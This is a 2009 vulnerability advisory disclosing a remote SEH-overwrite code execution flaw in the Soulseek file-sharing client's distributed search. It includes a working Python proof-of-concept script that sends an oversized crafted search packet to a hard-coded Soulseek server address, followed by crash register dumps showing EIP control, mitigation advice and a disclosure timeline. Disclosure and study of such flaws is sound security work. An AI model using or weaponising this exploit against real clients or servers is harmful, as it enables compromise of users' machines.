=============================================
- Release date: May 24th, 2009
- Discovered by: Laurent Gaffié
- Severity: critical
=============================================

I. VULNERABILITY
-------------------------
Soulseek 157 NS * & 156.* Remote Distributed Search Code Execution

II. BACKGROUND
-------------------------
"Soulseek(tm) is a unique ad-free, spyware free, and just plain free file 
sharing application.
One of the things that makes Soulseek(tm) unique is our community and 
community-related features.
Based on peer-to-peer technology, virtual rooms allow you to meet people with
the same interests, share information, and chat freely using real-time messages
in public or private.
Soulseek(tm), with its built-in people matching system, is a great way to make 
new friends and expand your mind!"

III. DESCRIPTION
-------------------------
Soulseek client allows distributed file search to one person, everyone, or in a 
specific Soulseek IRC channel, allowing a user to find the files he wants, in 
a dedicated channel, or with his contacts, or on the whole network.
Unfortunatly this feature is vulnerable to a remote SEH overwrite to a specific
user, or even to a whole Soulseek IRC channel.

IV. PROOF OF CONCEPT
-------------------------
This proof of concept is made to prevent a S-K party, it is only build to 
target the user "testt4321".

To try this proof of concept, you would have to open a soulseek client and use
the username:
"testt4321"
with the password:
"12345678"
And launch this code.
If you want to change the username or target a whole channel, you would have 
to reverse the protocol :)



#!/usr/bin/python
import struct
import sys, socket 
from time import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("208.76.170.50",2242))  # Change to Port 2240 for 156* branch

buffer = "\x48\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00\x74\x65\x73\x74"
buffer+= "\x34\x33\x32\x31\x08\x00\x00\x00\x31\x32\x33\x34\x35\x36\x37\x38"
buffer+= "\xb5\x00\x00\x00\x20\x00\x00\x00\x38\x65\x39\x31\x66\x37\x33\x30"
buffer+= "\x35\x35\x37\x31\x32\x35\x64\x37\x34\x39\x32\x34\x62\x64\x66\x35"
buffer+= "\x63\x32\x39\x61\x36\x37\x64\x61\x01\x00\x00\x00"

s.send(buffer)
sleep(1) 

junk = "\x41" * 3084
next_seh = struct.pack('<L', 0x42424242)
seh =      struct.pack('<L', 0x43434343)
other_junk = "\x61" * 1423

buffer2 = "\x01\x0f\x00\x00\x2a\x00\x00\x00\x09\x00\x00\x00\x74\x65\x73\x74"
buffer2+= "\x74\x34\x33\x32\x31\xa4\x5a\x51\x44\xe8\x0e\x00\x00"+junk+next_seh+seh+other_junk
s.send(buffer2)
sleep(1)
s.recv(1024)



After the query is send, the memory will look like this
0012FBE4   41414141
0012FBE8   42424242  Pointer to next SEH record
0012FBEC   43434343  SE handler
0012FBF0   61616161

And the program will terminate with this structure:
EAX 00000000
ECX 43434343
EDX 7C9132BC ntdll.7C9132BC
EBX 00000000
ESP 0012EA78
EBP 0012EA98
ESI 00000000
EDI 00000000
EIP 43434343


V. BUSINESS IMPACT
-------------------------
An attacker could exploit this vulnerability to compromise any Soulseek client connected to
the Soulseek network.

VI. SYSTEMS AFFECTED
-------------------------
Windows all versions

VII. SOLUTION
-------------------------
A fast solution would be to use Nicotine-Plus (http://nicotine-plus.sourceforge.net/) 
a Python Soulseek client.
Another quick workaround at server level would be to limit the search query lenght.

VIII. REFERENCES
-------------------------
http://www.slsknet.org

IX. CREDITS
-------------------------
This vulnerability has been discovered by Laurent Gaffié
Laurent.gaffie{remove-this}(at)gmail.com


X. REVISION HISTORY
-------------------------
May 24, 2009: Initial release


XI. DISCLOSURE TIMELINE
-------------------------
july      29, 2008: Bug discovered
September 03, 2008: Vendor contacted; no response.
October   14, 2008: Vendor contacted; still no response.
April     12, 2009: Idefense contacted.
April     13, 2009: Idefense answered.
April     23, 2009: Advisory send to idefense contributor program.
May       13, 2009: Idefense contacted, bug rejected (no reason given)
May       15, 2009: Idefense recontacted; no answer.
May       16, 2009: Last try to contact Soulseek maintainers
May       24, 2009: Advisory published.

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
I accept no responsibility for any damage caused by the use or 
misuse of this information.

# [2009-05-26]